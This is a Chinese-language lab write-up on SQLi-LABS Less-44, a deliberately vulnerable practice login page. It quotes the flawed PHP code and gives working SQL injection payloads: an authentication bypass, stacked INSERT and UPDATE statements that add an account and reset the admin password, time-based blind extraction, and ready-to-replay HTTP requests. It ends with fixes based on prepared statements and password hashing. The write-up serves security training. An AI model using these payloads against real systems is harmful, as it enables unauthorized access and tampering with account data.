Less-44 审计报告:登录处堆叠注入(密码字段未过滤,盲注)

1. 关卡概述

2. 漏洞代码定位

文件: Less-44/login.php

// 第 25 行:用户名被转义
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

// 第 26 行:关键 —— 密码字段完全未过滤!
$password = $_POST["login_password"];

// 第 42 行:单引号拼接
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

// 第 43 行:mysqli_multi_query 支持多语句
if (@mysqli_multi_query($con1, $sql))
{
    // 第 46~58 行:有结果则返回 $row[1](无 else 报错分支)
    if($result = @mysqli_store_result($con1))
    {
        if($row = @mysqli_fetch_row($result))
        {
            if ($row[1]) { return $row[1]; }
            else { return 0; }
        }
    }
}

第 60~62 行之后没有 print_r(mysqli_error(...)) —— 盲注。判定依据:第 68~85 行,$login != 0 则跳转 logged-in.php,否则显示失败图。

3. 漏洞分析

• 核心缺陷一:第 26 行密码字段未过滤,可直接注入。
• 核心缺陷二:mysqli_multi_query 支持堆叠多语句(无输出也执行)。
• 盲注判定:
  • 布尔/认证判定:注入后 SELECT 是否有行 → 是否跳转 logged-in.php(302 → 200)。
  • 堆叠判定:INSERT 新用户后能否登录新用户。
  • 时间盲注:if(condition,sleep(3),0) 判断条件。
• 闭合方式:WHERE username='$username' and password='$password',payload 以 ' 闭合引号,-- - 注释尾部。

4. 利用方式

步骤一:万能密码登录(绕过认证,盲注下最直接)

login_user = admin
login_password = ' or 1=1-- -

拼接后:

SELECT * FROM users WHERE username='admin' and password='' or 1=1-- -'

• or 1=1 恒真 → 返回第一行 → 302 跳转登录成功。

步骤二:堆叠注入插入新用户(核心 payload)

login_user = admin
login_password = admin' ;insert into users(id,username,password) values(100,'admin2','admin2')-- -

• 无输出,但 INSERT 已执行;再用 admin2/admin2 登录验证。

步骤三:堆叠 UPDATE

login_password = admin' ;update users set password='pwned' where username='admin'-- -

步骤四:时间盲注提取数据

login_user = admin
login_password = ' and if((select count(*) from users)>10,sleep(3),1)-- -

• 条件真时响应延迟约 3 秒。

5. Yakit 重放数据包

POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 103
Connection: close

login_user=admin&login_password=admin%27%20%3Binsert%20into%20users(id,username,password)%20values(100,%27admin2%27,%27admin2%27)--%20-&mysubmit=Login

万能密码报文:

POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 42
Connection: close

login_user=admin&login_password=%27%20or%201%3D1--%20-&mysubmit=Login

盲注判定:响应 302 → Location: logged-in.php 表示登录成功;否则显示失败图。Content-Length 以实际发送字节数为准。

6. 修复建议

修复一:PDO 预处理 + 禁多语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :u AND password = :p LIMIT 0,1");
$stmt->execute([':u' => $_POST['login_user'], ':p' => $_POST['login_password']]);

修复二:mysqli 预处理 + 哈希密码

<?php
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $_POST['login_user']);
$stmt->execute();
// 用 password_verify() 比对哈希

修复三:加固要点

• 移除 mysqli_multi_query;所有字段(含密码)一律参数化;
• 登录认证改哈希密码 + password_verify();
• 数据库最小权限;升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。
• 本关要点:密码字段未过滤 + 堆叠查询 + 无报错回显(盲注)。